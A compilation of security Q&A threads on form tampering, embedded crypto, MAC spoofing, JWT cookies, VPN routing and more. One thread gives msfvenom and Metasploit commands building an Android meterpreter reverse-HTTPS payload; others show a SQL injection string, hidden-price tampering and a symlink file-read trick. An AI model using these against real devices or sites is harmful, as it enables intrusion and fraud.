    <input type="hidden" name="question_id" value="161719">
</form>

This way, if I type an answer in the textarea, the server knows that this answer is for question 161719.

This is different from a session token. A session token is stored in a cookie and identifies the session. What you perhaps mean is that the question ID could  be stored in the session instead. That is true, with a slight change in behavior: if I visit multiple questions in multiple tabs and answer them out of order, the question id in the session will be incorrect. The one posted with the answer in the hidden form field will still be correct.

So, how can you modify prices? If the form looks like this:

<form method="POST" action="/finish_order">
    Enter your shipping address: <textarea name="address"></textarea>
    <input type="hidden" name="price_to_pay" value="$123.45">
    <input type="hidden" name="order_id" value="6789">
</form>

Here the price_to_pay is sent to finish_order, and you are charged with $123.45. However, you can easily modify this value to be charged less. Whether this works and whether your order still ships depends on the implementation of the website, and the procedurial checks in place.


Suspicious SMS getting received on selected browsing I am receiving several suspicious SMS messages with links telling me that I have requested subscription to their services (which I have not) asking me to confirm subscription.

These SMS appear only when I visit a few selected sites on my android phone. It is as if there is someone in the network watching my traffic and spamming me only when I visit those sites. Also, after a while surfing, whichever link on those selected websites I click I get redirected to ads.

In the latest instance, after several such spam SMS messages got received the ISP automatically subscribed me to some useless paid service, with no action or confirmation from me.

Is the network operator/someone targeting my number based on the websites I am visiting? And how can I stop this?

Its very possible that your operator inserts a header in outgoing HTTP traffic containing your mobile number, just to allow remote billing, ad targeting, and remote subscription.
http://www.htxt.co.za/2014/10/29/vodacom-admits-to-leaking-phone-numbers-to-websites/

Those sites you visit, are those "trusted" sites or are they "random"? If they are random, it might be that those sites are using your phone number to bill you just to gain Money.
Its not possible to turn off such auto billing.

To protect yourself against large phone bills, I would suggest switching to prepaid. If some subscription service initiates on your phone then the prepaid card will exhaust quickly and then the subscription service will stop to work, preventing any high charges to you.

Its might be very possible that you in the TOS of your operator, did accept that says that by visiting a site over mobile data, you accept that the site might bill you for its usage.
To prevent such things from happening, you could in addition to getting a prepaid, also get some sort of VPN tunnel, either to your home, or to a VPN operator, then preventing the operator from injecting your number in your HTTP traffic.


What types of trade-offs are appropriate when using encryption/authentication on devices with low bandwidth? This is my first foray into this Stack Exchange, and I have limited knowledge of the InfoSec world, but I'll try to make this a pointed, answerable question.

I'm tasked with investigating including authentication and encryption of communications between two embedded systems that have a low-bandwidth connection between them. I've been told that RSA key exchange would hypothetically take -minutes- to complete because of the slow connection and/or the massive values being computed and transmitted. Ideally we'd like it to be fast enough to occur on the fly, for security's sake, without disrupting normal operation.

Does this make sense as a problem? Since this is so far just (presumably) math-based (and error-prone) I don't know if this is a realistic, common issue.

If it is, what kind of choices/compromises are appropriate (like lowering the bit count of encryption), or is there a kind of cryptosystem would be better suited to this application?

I expected there to be more discussion about this topic than I have found, which is almost nothing. I feel like I'm missing something then, like that these concerns are misguided, or that there is no wiggle room.

This is a really big problem, and much more data is needed before rushing in to algorithm selection.  I'm going to offer some suggestions, but I expect a good answer for you will need more focus.

First, public key cryptography is good for key exchanging between parties where there's an outside establishment of trust.  Public keys can be delivered on certificates, and certificates can be validated against a trusted root certificate issued by a certificate authority.  But as you've noted, this can take a lot of bandwidth and CPU, two things in short supply in a tiny embedded device.  RSA would probably be a poor choice; Elliptic Curve Cryptography (ECC) exchanges fewer bits and generally computes faster than RSA.  A paper comparing the two on an ATmega128 is available here; their bottom line is ECC secp160r1 can be computed in 0.82 seconds requiring 4k of memory, while their 1024-bit RSA implementation took 11 seconds and 7.4k.

But public key crypto is not normally used for the byte-by-byte communication; it's generally only used for key exchange for a symmetric encryption algorithm. Ordinary communications are protected using a self-synchronizing stream cypher.  These cyphers resynchronize themselves in case of a transmission error or data corruption without needing another expensive key exchange.

Given what you've described, it sounds like you'll only have pairs of devices, or possibly a peer-to-peer network instead of a server-client environment; there may possibly be a 'master' device available.  Are you planning on a 'pairing' step to introduce devices to each other in a trusted environment?  Do they have to pair to the master device, or can they pair with a neighbor dynamically?  Do your users have a setup step for each device? Is there an interface where the end users can inject each device with a secret key?  Are you customizing chips for each customer?  Or is every chip identical, with no differences between any of them?

If these are to be deployed generically to all your customers, they need to be secure against tampering.  You don't want an attacker just reading the memory out of your chips with a JTAG reader.  Even so, there's probably little hope of truly securing the communications, as reverse engineering chips and protocols is a hobby for many people.  This would limit the amount of trust any device should place in the communications, meaning "don't use these devices to secure your building door locks, piles of money, trade secrets, burglar alarms, or other valuables."  This may indicate that simple, light-weight obscurity might be enough -- it may not be worth investing in securing the communications given a motivated attacker.

But let's assume for the moment that you have some kind of key injection step that customizes chips for each customer.  In that case, a pre-shared key might be a good way to go, where the same key is injected into each device, either during manufacture or at the customer's site.  This eliminates the need for a key exchange during communications.  You simply use the PSK to encrypt the data as it leaves, and decrypt the data as it arrives, using the self-synchronizing stream cypher.  Also, consider the case where the customer wants to change keys - maybe someone stole one of their devices and they consider the key compromised.  Customer site injection is a lot cheaper than sending the chips back to you.

If there's some kind of pairing step available between devices, where you introduce them to each other in a trusted environment, you can use this introduction period to exchange keys.  Each network would have a base key, and each chip could get a copy.  Typically this is done with a hardware-activated switch to prevent a rogue network injection of a key exchange request.  If an attacker wants to break in, they have to be physically operating the device.

For higher security there's a protocol called DUKPT that is designed for protecting financial transactions.  Each device is injected with a unique key derived from the base key, and a unique key is derived for each message sent.  No end device ever receives the base key, so compromising one device does not compromise the network.  As this was developed for cheap terminals in the 1990s, the CPU and message overhead is fairly small, making it good for embedded devices. But all communications have to originate at the client devices, and be forwarded to a decrypting server; there is no provision to communicate securely from peer-to-peer, and the key exchange is unidirectional from the client to the server.

Keep in mind there's usually nothing technically stopping an attacker from 'acquiring' one of customer A's devices after it has a key -- theft, maintenance, or even shipping errors can leave the devices to turn up on eBay some day.  The attacker could then use his unauthorized device to communicate with the authorized device.  This is a reason you'd need to be able to exclude a device or reset the network's base key.


Mac address reverts to the original address? I was trying to change my mac address using the following command

ifconfig wlan0 down

macchanger -r wlan0

ifconfig wlan0 up

the mac address does change after this but when I try to ping any website I am unable to. Also after I manually reconnect with the wifi the mac address reverts back to normal. I tried googling it and read an article where the guy was turning off the network-manager off and back on again. I tried doing both of them and it still keeps reverting back to normal. I am using Parrot OS.

EDIT: after switching wireless card to "UP", it shows that I am connected to the network and yet I am unable to ping, after reconnecting the connection is restored and so if the mac address

You might look at what address your macchanger is giving you. Times are changing and it looks like if your MAC address starts with a leading 1 bit, then it is a local address, and some drivers wont work with it. Take a look here on wikipedia about local addresses Local Addresses on Wikipedia.

  Addresses can either be universally administered addresses or locally
  administered addresses. A universally administered address is uniquely
  assigned to a device by its manufacturer.

  Universally administered and locally administered addresses are
  distinguished by setting the second-least-significant bit of the first
  octet of the address. This bit is also referred to as the U/L bit,
  short for Universal/Local, which identifies how the address is
  administered. If the bit is 0, the address is universally
  administered. If it is 1, the address is locally administered. In the
  example address 06-00-00-00-00-00 the first octet is 06 (hex), the
  binary form of which is 00000110, where the second-least-significant
  bit is 1. Therefore, it is a locally administered address.
  Consequently, this bit is 0 in all OUIs.

Take a look here: https://superuser.com/questions/243818/change-mac-address-of-a-wireless-network-adapter . This has been discussed on other stackoverflow sites.


Are there objective reasons to not allow Google Chrome extensions, but to allow Firefox extensions? Recently, the company I work for has forbidden usage of any extensions in Chrome. They also do not allow account sync. This affected virtually all Web developers since they use Chrome to test their front-end code and use an extension or two to improve productivity (JSON view, Redux dev tools).

Unfortunately, this has changed overnight without proper communication and there is no clear reason for this change.

However, I have noticed that I am able to use a portable version of Firefox and install all needed extensions.

Currently I am using Chrome 62.0 and Firefox 56.0.2 (portable). I use the portable version because the company officially allows FrontMotion and I do not want to mess with its installation.

This rather old post does not show any serious security problems for Google Chrome (except for privacy).

Question: Are there any objective reasons to forbid Google Chrome's extensions, but allow Firefox extensions?

I cannot answer the asked question, but I hope this could shed some light on your problem.

Should corporate security rules forbid usage of some browser extension?
IMHO the answer is YES here. Browser extensions can virtually do almost anything on behalf of the regular browser. That means that a local firewall will not detect them.

Are there objective reasons to trust more XXX (put whatever browser of browser extension here) than YYY (another browser or browser extension).
Well in IT security trust is based on 2 major pieces: audit of code and reputation. The former is objective, while the latter is not, but I must admit that I mainly use the latter because I have neither enough time nor enough knowledge to review everything, so I just rely on external advice from sources that I trust. When I rely on HTTPS to secure a channel, I must trust the certificate owner to not do bad things with the data once it has received it, and I trust the certificate signer. Long story short, it may be possible to say whether an extension has better reputation than another one, but it can only be by extension and not globally by browser.

Is usage of a portable Firefox in your use case an acceptable solution?
Still my opinion, but unless you are in hierarchical place that allows you to ignore a rule from the security team, I want to say a big NO here. My advice is that you should first make a list of the extensions you commonly used, and possible replacement ones. Then you should try to gather as many elements on their objective security and on their reputation (still on a security point of view). Then you should tell your manager that the recent forbidding of Chrome extension leads to a net decrease in productivity, and ask him to propose the security team a list of extensions you need with possible replacements (Firefox for Chrome by example). Then either they agree with an acceptable list, or the question should climb higher in the organization hierarchy, until someone that is accountable for both the global security and the global productivity takes a decision. Silently ignoring corporate rules is always a bad decision because the guy that has global authority has no way to know that some rules are not followed.

And if your boss chooses that security is more important than productivity or the opposite, he has authority for that choice while you may not have.


Should I use a Firefox master password or NTFS encrypt my profile? As a follow-up to another question, is the encryption via Firefox' master password more secure than simply NTFS encrypting the profile folder? I.e. is there a convincing reason to add the inconvenience of another password whereas NTFS encryption is coupled to my Windows login?

You're protecting two different things. NTFS only provides storage protection. The Firefox master password provides protection in terms of storage, and up to the point of use.

Once in use, your filesystem will be decrypted for any application you're running. In contrast, the FF-based encryption will give access to your private key only to FF when it's running. Provided that the memory used by distinct applications is properly isolated by the OS, other applications won't have access to it.

If your machine is compromised with a keylogger or something similar, neither approaches help much, but the FF master password should at least protect your from "semi-trustable" applications: those that don't take control of your system, but can at least read what they like on your filesystem, while you're logged on. Of course, this depends on which applications your run.

In addition, assuming that you leave your seat without locking your machine, while another user could make use of that certificate and private key here and there if you've also left FF running, they wouldn't be able to export a copy of it without having to enter your master password when exporting (even if you've already typed in your master password for FF to use, it's a different thing), whereas they could easily copy/export these files when there's no master password.


Is it reasonable to make mandatory inside an organization (in the internal network) that all traffic were encrypted? Is it reasonable to make mandatory that all traffic were encrypted inside an organization (in the internal network)?

Usually, in the LAN of an organization some protocols are plain text, for example, Telnet or FTP but also other like LDAP. The risk is much less inside the network but I think nowadays, with the Internet of Things, BYOD, mobility and other functionality, make encryption for communications mandatory is reasonable and acceptable, what do you think?

Please, do not answer that this depends on the risk of your organization or your policy. I'm supposing the risk is enough in all companies just thinking about malicious insiders and what I'm asking is whether this requirement shold be added to a security policy or not.

Should it depend on the segment of the internal network?

EDIT: I have discovered that there is a similar question in ServerFault: https://serverfault.com/questions/130347/encrypting-absolutely-everything-even-within-the-lan?rq=1

Since this question is primarily opinion based - in my opinion :) - my answer will be primarily opinion based.

First, if there's one thing I've learned in the years I've worked in professional IT/security, it's this:  It doesn't really matter if you agree or disagree with a company policy or if you think it's reasonable for them to encrypt traffic as a specific example; it's THEIR (insert company name here) company and they can enforce any policy they want so long as it doesn't break local, state, or federal law/regulation.  If you don't like the policies then you have two choices:  suck it up and continue to work there, or find another employer; it's really that simple.

Now on to my personal opinion of the matter.  I don't think it's a question of whether it's reasonable to encrypt all traffic, even internally, but it's more of a question of why would your leadership want to do this.  I work for a federal agency that has several enclaves (we'll call them islands), one of which deals with SCADA and Industrial Control Systems (ICS).  These ICS enclaves/islands have way more sensitive data than the general enclave that almost all other users are on and in my opinion would be justified encrypting all traffic.  This could help against potential attackers that would try sniffing the network as an example for any helpful information they could obtain.  It could also help prevent a myriad of other things, but when it comes down to it there is a good business case/justification for this.  The business case/justification is that if an attacker gained access to the regular non-ICS/SCADA enclave there isn't much that they could do to damage the systems out in the field controlling important infrastructure.  If they, on the other hand, gained access to SCADA/ICS data from something as simple as a network protocol analyzer they'd have the keys to the kingdom and could take down some seriously critical infrastructure that would affection a lot of people.  That right there is justification to be at least a little paranoid as well as more cautious and take measures such as encrypting all of the traffic internally and externally.  Not all networks would have a good justification for encrypting all traffic.

To answer your specific question, I do think it should depend on the network segment as you've put it, however it may be easier operationally to encrypt all traffic rather than trying to cut out certain areas to encrypt vs leaving others unencrypted.  But, without knowing your company's leadership I can't say why they'd want to do this across the board.


Can websites uniquely identify users by the sim card used to access the website? If I was to use a phone's data connection to access a website, and then pop that sim card into another phone to access the same website, could the website tell that I am the same user?

Not that I am aware of.

Websites receive the information the web browser provide
The web browser of the phone devices is an app that has not the
permission to get the SIM data of the mobile device (unless it was an
malicious app)
Information of the device apart from cookies does include the User
Agent, but that string of information that not include that kind of
information.
You can not relay on IP addresses, your phone provider may use
DHCP/nat and the phone could use a different phone provider network
(roaming)

I would suggest using client side certificates, when the phone is changed remove the certificate and when user is no longer trusted revoke it.


Probing Unsubscribe Link Vulnerabilities I'm interested in testing the security of 'Unsubscribe' links embedded in emails sent to customers by large companies.  I'm targeting companies participating in a certain bug bounty program, and my question is about scope:

If I think I've discovered a pattern in the generated unsubscribe links (the token in the url is being incremented, for example), I'll want to test that by navigating to a URL that, if successful, will unsubscribe some other user from company emails.  Does this qualify as a breach of customer experience or data?

Yes, unsubscribing customers unwillingly is a security finding. It's hard to say how much that finding is "worth." Have you joined or read up on bug crowd or other centralized bug hunting and bounty programs? This kind of thing tends to go better if you are part of a "syndicate" instead of disclosing alone.


How to exploit this piece of code? (format string in printf?) So this piece of code is vulnerable to format string vuln (I think) in the printf() function. It reads a file in /tmp/file so I've tried writing different modifier/strings in that file and see what happens but I got nothing interesting. When I write few lines containing %x %x %x %x %s I can see that sometimes the line break is not there and I get a line actually containing 2 lines.

I can also insert a \0 at the beginning of the line for example if I do \0 AAA and the same thing for b and c and then copy/paste this a few time the result is:

\0 AAAA
\0 bbbbb
\0cccccc\0 AAAA

The exploitation goal is to read some file in a protected directory but I have no idea how I would do that using this vulnerability.
Any tips is welcome, thank you.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main(int arc, char **argv)
{

    int fd;
    fd = open("/tmp/file",O_RDONLY);

    if (fd < 0)
    {
        printf("Cannot open file\n");
        exit(1);
    }

    int nb_lus;
    char line[20];
    while ((nb_lus = read(fd,line,20)) > 0)
    {
        line[nb_lus-1] = '\0';
        printf("%s",line);
    }

    close(fd);
    system("/bin/rm /tmp/file");
    return 0;

}

As I understand, you control the input file /tmp/file and this piece of program is run with privileges to read a protected file. Your goal is to read the protected file.

I failed to see any issue in this code. The format string is not controlled by the input and the missing line feeds you saw was because the last char of every 20 bytes is being replaced with a \0 (which stops printf from reading beyond the buffer).

However, as @MikeOunsworth suggested, all you have to do is to make /tmp/file a symlink to the protected file and you'll get the contents (with every 20th byte replaced, of course).


Why would fraudsters use old user-agents (old browsers versions)? I would like to know why fraudsters would use old User-agents (with old browsers versions) to make conversions for PPL (Pay-Per-Lead) or PPS (Pay-Per-Sales) offers in affiliate marketing?

It seems like it's a tendency now and I'm not sure why they wouldn't just go with more recent browsers versions.

My guess is that the traffic you're seeing is not actually coming from real browsers, but from some sort of automated web crawler. Remember that if you're writing your own program, then useragent is just a string and you can set it to whatever you want -- usually whatever's current at the time you write the software. I'm guessing that either the crawlers don't get updated very often, or the developers of the crawlers don't bother updating the useragent strings.

That would also explain seeing multiple useragents in the same conversion if different parts of the web crawler are hard-coded to send different useragents.

I wonder if you could turn this into some way to differentiate real human clicks ...


Do I have to change my database user password in this situation? Ok I know this is a stupid question but our one and only DBA get into a mess with our manager and rage quit today.

As a small company, I (IT support guy who knows nothing about DB) was told to change "password" to protect the database from sabotage.

We have this remote PC as a server with Allround PL/SQL developer on it and not much software else.

The question is :
I just changed the login password of the server, is our database now safe from unwanted access? Should I change the password of the database user as well? (I googled how to do it, but it seems to involve some command line operation which I rather not perform is it is unneccesary)

Do you have to change the password?

To access the database with its old credentials the DBA has to be able to reach the db server. If this is only possible from the local network and he does not have access to something like a VPN it is unlikely that he will be able to do any damage. It may very well be that the login you changed prevented him from logging in remotely.

Should you change the password

Totally yes! It shouldn't be that big of a deal and you will regret not doing it when something worse happens. In fact, think to what other accounts the DBA could know the password and change these as well.


Is UDP used for applications that require less security? We often hear TLS over TCP socket and very famliar with its use case e.g. HTTPS.
While I am learning Linux socket progamming, I read a An Introduction to OpenSSL Programming, Part I of II tutorial . (Obviously it's about TLS over TCP).

Later on I started to think about something like "TLS over UDP" and did some search, but didn't find anything popular. (I know there's something like DTLS, but in practice do people really use it?)

So my question is, in the fields that UDP dominates, for example game server (I know little about game development), do they use anything like TLS over TCP to authenticate and encrypt the communication/raw UDP packet?

Or is it just uncessary?

My guess:
  In some ways I think it's uncessary to employ something like TLS. For example, one big usage of TLS is for authentication. But as for a game (sorry so far I only know UDP is widely used in gaming), you download the client, as long as the client is not modified by someone, you are done with authentication. And then for encryption, that might be necessary or might not. Because for a game you need to create your own application level protocol and that's a kind of encrytion. Beyond that, if necessary, one can use symmetric encryption like AES too.

Is my guess correct?

If data needs to be secured does not depend on the transport protocol (UDP vs. TCP) but on the kind of data. For example there is HTTPS to protect HTTP traffic which is deemed to be often sensitive. And there is HTTP/3 for the same purpose as HTTP but on top of UDP - and it is secured on the same level as HTTPS is. Similar WebRTC uses UDP for real time transport of audio and video but these get encrypted too (SRTP). Also, the VPN OpenVPN by default uses encrypted UDP for data transport.

But it is kind of true that encryption does not see as much use with UDP based protocol as with TCP based. For example the majority of RTP traffic used in VoIP protocols like SIP is still unencrypted even though there are protocol like SRTP or ZRTP which support proper encryption on top of RTP (and thus UDP). Incidentally SIP itself (as the control layer in VoIP) is usually unencrypted too even if there is SIP over TLS (SIPS). This might be because some things like surfing the web or sending and receiving mail are more in the focus of attacks and there is more public awareness and pressure to implement encryption for these than for the other protocols.


Important data can be modified from the developer console. What should I do? Scenario: I have a to-do list that is generated with JavaScript using JSON that was encoded on the server side. I put the todo item id in the HTML id attribute. So the process goes like this:

Server side code  creates a todo array.
Serialize array to JSON
Loop through array of JSON objects and render the todo-list.

Now I have to edit a certain to-do item and update it. It is done like this:

I filter my JSON object array by id by comparing the to-do id that came from the HTML id attribute value to get the object.
I use AJAX to pass the object to the INSERT.PHP page.
In the INSERT.PHP page I deserializ the JSON so I can update it in the database.

Problem: Putting the to-do item id in the HTML id attribute will cause a flaw in the system because the user will have the capability to alter the to-do item id using the browsers developer console.

Question: Is there a safe way to do it? Am I just doing it wrong or is this a normal thing to do?

Most of the details in your question are irrelevant. That the ID is stored in a HTML id attribute, the developer tools, that you are using jQuery... None of that really matters.

The only thing that matters is that you have an endpoint on your server called insert.php. An attacker can send any request they want to that endpoint, regardless of what your client code looks like. Protections against people trying to do things that they are not allowed to do must be at the server, and not the client.

So look at your PHP code. Does it verify that the input is in the expected format? Does it check that the user has the right to edit the particular todo list? If not, fix it. And remember, your validation and authorization checks must be performed on the server to have any security value.

Specifically, if users should only be allowed to edit todos that they own you need to do the following in insert.php:

Query the database to get the owner of the todo that is being modified.
Get the id for the user making the request.
Check that they are the same, and deny if they are not.


What would be an example of an attack that exploits escape characters? As far as I know escape characters are characters which change the meaning of the following character. In HTML for example the & is an escape character that declares the beginning of an entity reference. What is an entity?  Well... isn't this a combination of characters used to represent special characters. In HTML for example &ln is used to represent <.

Now, as I am new to the subject of computer security, can anybody help me in finding an attack that exploits these escape characters?
I realize I have mentioned HMTL a lot. So there must be an exploit of HTML code that targets escape sequences. And I have heard the same is true for SQL. I don't know any particular escape sequences for SQL - is SQL injection considered an attack that makes use of escape characters? I mean SQL injection often targets the single quote.

Consider this query:

SELECT * FROM users WHERE username='$username' AND password='$password';

Assume single qoutes are escaped, but the escape character \ is not. Then, use user\ as username and an SQL expression (OR 1=1 --) as password:

SELECT * FROM users WHERE username='user\' AND password=' OR 1=1 -- ';

Now, the database searches for a user with the username user' AND password=, or where one equals one. The quote starting the password value is now interpreted as closing the username value.


Android meterpreter invalid session Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN it works fine. So what is the problem? (The phone I'm testing the payload is using 4G connection)

When I create the payload I use:

 msfvenom -p android/meterpreter/reverse_https LPORT=4444 LHOST=<public_ip> -o /var/www/html/payload.apk.

On metasploit I use:

use exploit/multi/handler

set payload android/meterpreter/reverse_https

set lport 4444

set lhost local ip

set luri /

set ExitOnSession false

set SessionCommunicationTimeout 0

set SessionExpirationTimeout 0

exploit -j

After all this a connection is established but then closed. And sometimes when I create a new handler it creates infinite sessions for the same target, it just keeps creating them until I close the console, can someone help me?

Also when testing for configuration issues I would set exitonsession to true.

if you are using your web browser to deliver the payload it can continue to run cycles until fails over.

setting the exitonsession will slow things down for you a bit, and stop creating so many sessions.


Potential dangers of re-locating critical systems to cloud It was suggested by some consultants that We relocate some of our critical systems in our environment to cloud base architecture. Besides knowing the fact that on a cloud base architecture we have no control over their infrastructure, what other areas of concerns must I look out for when putting critical systems to the cloud (instead of managing them ourselves)
thanks

"The cloud" is marketing-speak for "other people's servers", so I will use that term instead.

When you move critical systems to other people's servers, you need to be aware that they have physical access to the server and to their network connections. When they are not trustworthy, they are able to steal your data or eavesdrop on your network traffic.

A sensible precaution is to use full-disk encryption so that even when they look at the filesystems of their servers, they don't learn what your systems which run on them are doing. Which technologies are available for this depends on the operating system you are using.

Another important precaution is to make sure that any remote access is encrypted and well authenticated (preferably by certificate and password). Remember that you are no longer talking to your own servers in your own datacenter via your local area network. You are now communicating with other people's servers via a normal internet connection. When possible, the servers should be configured to only allow access from your IP addresses, when the people who own them are able and willing to make that happen.

However, when you believe you can trust your provider, having your software run on their servers can even have a security benefit. People who provide such services as their primary business model usually(!) have lots of know-how about how to properly secure a datacenter against logical and physical attacks. They might also be able to provide a better uptime than you do. When your organization lacks the know-how and resources for proper datacenter operation, letting someone else handle this might not be a bad decision. But you should do your research about the security track record of the people whose servers you are running your systems on.


Information Security Career tracks - Academically vs. IT certifications I will try to be as straightforward as possible here.

I am currently working as a security integrator at an integration company.

I work with products of vendors like Check Point, Cisco, Juniper, HP, Symantec, Websense etc.

All ranging from switches and routers, to firewalls, URL Filtering and Email solutions, Dlp products and SIM/SOC systems.

This is definitely the right field for me and I wish to pursue a career in it. There is not a single moment on my job which I find boring and each day I learn a huge amount of information and my knowledge grows with each day.

I am pursuing certifications of various vendors which we all know like CCSA/E, CCNA, and the rest of the bunch (I also know the great feud between those who say certs are worthless and those who say that they hold value).

I have no academical degree. To be honest, the academia something which I am not very fond of and I am not too drawn to the concept, nor do I believe I will have success in this kind of learning environment. I also believe (with my minimal experience in the field) that one can make good progress and build a solid career without pursuing a degree. The alternatives are "higher" certifications like CISSP, CISM, CISO etc.

I really look for the opinions of people who have no self interests in mind, and can really advise on this matter. Is it "possible" to flourish career-wise without going for a degree? (I have a strong belief that everything in life is possible, and have experienced it along the way in my life. Nothing someone says is indefinitely true).

You might say one would need at least a first degree in business management, while others would say that CISSP and the sorts teach exactly that, and as an integrator you have a lot of experience in the field, coming from the inside - Where the actual hands-on are.

All in all - Is it a likely scenario?

I would appreciate your answers on this matter.

I think both are important.  It's becoming more common for employers to require an undergrad degree for many positions.  Fundamentally, if you don't have an undergrad degree, your ability to apply to positions will be limited.  For example, if you ever want to consider working for the Big 4, you'd have to be very much in demand to get past their screening systems, even if you know the hiring manager if you don't hold an undergrad degree.  So, your ability to "grow your career" and the path you can take shifts relative to those that may hold an undergrad or grad degree.

IT Certs are useful to demonstrate the currency of a skillset.  Vendor-specific certs demonstrate that the candidate passed a set of tests (practical, knowledge, or both) in accordance to a set standard.  It's good to have in certain situations but it also locks you into a specific vendor.  For example, a Cisco security cert may demonstrate the candidate's skillsets related to the Cisco tech stack, it may not have much bearing in a Juniper/Checkpoint shop.  With that said, it's not valueless, since vendor-specific certs still require demonstration of knowledge relative to standards (routing, firewall, ips, etc).

Vendor-agnostic certs generally demonstrate higher-level knowledge.  CISM is meant to demonstrate the candidate's ability to act as an InfoSec manager.  The requirements to obtain certification include passing a written test but also education and experience verification in a very specific set of skills (IT Governance, Risk, IT Sec Mgmt).  If you aren't able to demonstrate practical experience in those areas, then you'll have passed the exam but won't be awarded the cert until you meet the experience requirements.  CISSP follows a similar model as well.  In both cases, ISC2 and ISACA allows substitution of academic degree with years of experience.  So a candidate with a Masters won't have to demonstrate as many years of experience as would a candidate without a degree.

The big question for you is your ultimate end-goal relative to your career.  If you want to continue working at a SI as a consultant/tech/sa/mid management, you'll likely be fine for some time without a degree.  If you want to move out of SI, then I'd recommend reviewing job descriptions for your ideal next-step to determine whether a college degree is required.  However, consider the impact/effect on your career if your SI is acquired by another SI.  In such a situation, the acquiring organization may begin to impose their views on hiring/promotion.

So, I'd agree that it's possible to have a great career without a degree, I'd recommend sampling a path of your success and typical job requirements for those ideal jobs and chart out different paths to get where you want to be with and without variables (degrees, certs, experience, etc).  Lastly, I'd also recommend doing a search for individuals in infosec that have made it without undergrad degrees and determine the paths they took.  If I recall correctly, Marc Maiffret is one guy I know that's been pretty successful in InfoSec without a college education.  However, he is quite bright and has made a name for himself over the last decade.

HTH


Public key encryption vs Digital signatures For same chunk of data, which one is faster? Public key encryption or digital signature?
Confidentiality is not important. I am trying to achieve non-repudiation for the communication.

Thanks!

Digital signatures use public key cryptography, so it's not very clear what you're asking. That being said, public key encryption by itself cannot be used for non-repudiation, so you'll always want digital signatures, regardless of which one is faster.


http_only for cookies with JWT tokens I'm trying to figure out how to use JWTs that are transmitted in cookies for an SPA It needs to be in cookies because we want non-ajax requests to also send the jwt, and it should "just work" for all subdomains. I have the cookie with the token being generated and updated fine on the server side. What I'm trying to figure out is how the client side should get at the info (is_logged_in and username of logged in user essentially) and keep that info in sync with the server side cookie life cycle, as I want expiration after say 1 hour of no requests, and it should show up on the browser when that happens. My problem is that the user info I want is in a cookie that is http_only to prevent XSS. I've thought of a couple of options, and would like opinions on what's a reasonable security compromise:

1) send the identical jwt token in two cookies, one used for actual server side auth & auth, which is flagged http_only and secure, and a second one which is identical but is not http_only so the client can decode it to get current user info and expiry time.

2) send the user info in a second cookie that is not http_only and is plain view, but has only username of logged in user.

3) try to have the client keep track of login info on its own, this seems problematic so far and easy to futz up but has no insecure cookies flying around.

I'm thinking I could well be missing some security aspect of the above options, hence asking here. thanks!

This sounds fine, and seems like a good solution to protect the session cookie against XSS attacks by duplicating the value of username into a non-http only cookie.

All your authorisation checks should be being made server-side anyway. So if your client wants to do something server-side, it sends the request and then the server makes the authorisation checks itself, not taking into account the non-http only cookie at all - it just uses the session cookie protected by http only.

If the non-http only is used for UI purposes only, it can't harm the session because the server will vet all requests using the session cookie.


Does it make sense to store RSA private keys instead of password hashes? I'd like to encrypt some private data by every user and I was wondering if I could use the same secret as passphrase for an RSA private key and as password for authentication. How secure is using an encrypted RSA private key compared to blowfish password hashing?

This is not secure. If you store the key you enable anyone with database access the ability to decrypt the user data.

You should not store the private key. Instead generate it on demand using the password + salt whenever needed. If entering the password every time encryption/decryption is required is not feasible for your use case then cache it in memory and clearing it when the user logs out.

RSA is slow and asymmetric. It also (as pointed out by A. Hersean) doesn't play well with key derivation algorithms. I would suggest you should probably be using a symmetric algorithm like AES for encrypting user data.


Password security when connecting to ldap with rails application How do you store a username/password securely in a rails app when using it for many ldap searches?

The connection in the app requires

ldap_bind_authenticate(Net::LDAP.new, username, password)

each time a search is made, and the credentials of the user are not stored at logon. I often see developers using a test user for the searches and storing a plaintext username/password pair in the user.rb model. Is there a more secure way to do this?

Disclaimer: I have never used ruby / ruby on rails and in this answer I describe how I would act in general.

You have two ways to solve this problem:

Use an additional user for all your searches.

Pro: You don't have to store the users credentials after he/she logged in.
Con: I don't know if this matters in your application but you can't track which user has started a caused the query based on your LDAP logs.
Implementation: Your have to store sensitive credentials for an external service inside your application. This is the exact same problem as with database credentials so I think you should store your LDAP credentials in the same manner as them.

Use the logged in user for searches

Pro: You can track what every user has done using your LDAP logs
Con: You have to store the unencrypted user information somewhere while the user is logged in.
Implementation: Save the unencrypted user information in the session or something so you can access them when you need to.

Personally I would prefer the first solution as it does not involve storing a lot of plaintext user passwords somewhere.


Google Authenticator Error on Reboot I have set up an SSH server to accept only login using codes generated by Google Authenticator (I have disabled all other forms of authentication on that port). After having rebooted my remote machine, it keeps giving me the Access Denied error after having entered the code on the authenticator app. It has been working flawlessly up till now (i.e. before the reboot).
So far, I've logged in using a scratch code (which it accepts), and have tried generating a new secret and scanning this new QR code with the Google Authenticator app and testing it using another terminal, all to no avail. I have also tried deleting the libpam-google-authenticator module and reinstalling it, generating another code and trying to login again from another terminal. This also didn't work. What could possibly be going wrong?

Like @user2313067 pointed, this problem is happening probably because the clock of your server is with wrong time.

Google Authenticator is an implementation of OTP (One-time password) and it is based on a private seed and on time to check if the code you are entering is correct.


Does altering the routing table to my hub defeat the purpose of a VPN? I am running a VPN on my server with openvpn. When running openvpn I have a shell script that runs afterwards:

ip rule add from 192.168.0.19 table 128
ip route add table 128 to 192.168.0.0/24 dev enp5s0
ip route add table 128 default via 192.168.0.1

this allows me to be able to port forward from my hub. I am wondering whether this has completely undermined the point of having a VPN in the first place now? I did this because I needed one port on the machine to be accessible.

The VPN will take the route that finds valid at the time when its connection initializes, so it will connect with regard to the current routing settings.

If you alter routes after the VPN is connected, depending on various factors, the VPN may still work or disconnect. If it continues to work, the new routes (set by the scrip loaded after VPN is connected) will also function correctly.

So no, doing this does not defeat the purpose of the VPN.


Why can't I use the same key for encryption and MAC? I wrote a simple file encryption program as an example of how to do encryption correctly, but after reading a questions about encryption + MAC, I think I made a mistake by using the same key for both.

I'm about to fix my program to generate a longer key and split it, but I'm wondering, what bad things happen when you do this?

Using one key for multiple purpose is considered bad style in general. It doesn't directly imply a vulnerability. I violate this principle occasionally, if it is convenient for protocol design.

The most important reason for this is that, if you use the same key for multiple schemes, you need to consider interactions between the different schemes. With independent keys you don't need to worry about this.

